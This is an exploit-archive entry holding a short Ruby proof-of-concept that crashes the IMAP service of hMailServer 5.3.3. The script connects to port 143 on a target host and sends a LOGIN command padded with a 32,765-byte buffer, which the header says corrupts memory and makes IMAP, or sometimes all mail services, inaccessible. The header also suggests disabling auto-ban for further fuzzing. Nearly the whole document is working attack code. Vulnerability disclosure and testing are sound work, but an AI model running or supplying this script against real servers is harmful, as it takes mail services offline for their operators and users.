hMailServer 5.3.3 Remote Denial Of Service

`# Exploit Title: hMailServer 5.3.3 IMAP Remote Crash PoC  
# Date: 10/27/2012  
# Vendor Homepage: http://hmailserver.com  
# Software Link: http://www.hmailserver.com/index.php?page=background_download_file&downloadid=207  
# Version: hMailServer 5.3.3 - Build 1879  
# Tested on:  
# - hMailServer 5.3.3 with default settings  
# - Reliably corruption makes IMAP service inaccessible on WIN XP SP2 and WIN 2K3R2 SP2  
# - Unreliable corruption makes all services (SMTP, IMAP, and POP) inaccessible on WIN 2K8R2 SP1  
#  
# Note: Disable "Auto-ban" in the hMailServer Admin console if performing additional fuzzing.  
  
#!/usr/bin/ruby  
  
require 'socket'  
  
s = TCPSocket.open(ARGV[0], 143)  
  
cmd = "a LOGIN "  
address = "A" * 32765  
password = " AAAAAAAA\r\n"  
logout = "a LOGOUT\r\n"  
  
pkt = cmd  
pkt << address  
pkt << password  
pkt << logout  
  
s.write(pkt)  
  
while resp = s.gets  
p resp  
end  
  
s.close  
  
`